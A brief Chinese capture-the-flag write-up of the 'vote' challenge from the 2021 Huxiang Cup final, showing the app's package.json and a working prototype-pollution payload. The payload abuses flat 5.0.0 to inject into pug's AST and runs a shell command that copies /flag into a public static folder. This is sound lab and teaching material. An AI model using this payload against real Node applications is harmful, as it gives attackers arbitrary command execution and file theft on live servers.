[湖湘杯 2021 final]vote

1.打开环境。

给了源码：

{
	"name": "gunship",
	"version": "1.0.0",
	"description": "",
	"main": "index.js",
	"scripts": {
		"start": "node index.js",
		"dev": "nodemon .",
		"test": "echo \"Error: no test specified\" && exit 1"
	},
	"keywords": [],
	"authors": [
		"makelaris",
		"makelarisjr"
	],
	"dependencies": {
		"express": "^4.17.1",
		"flat": "5.0.0",
		"pug": "^3.0.0"
	}
}

pug的js原生链污染，直接找pocgetshell:

{
"__proto__.hero":{
	"name":"奇亚纳"
},
"__proto__.block": {
 	"type": "Text", 
    "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }
}

相关文章：

AST Injection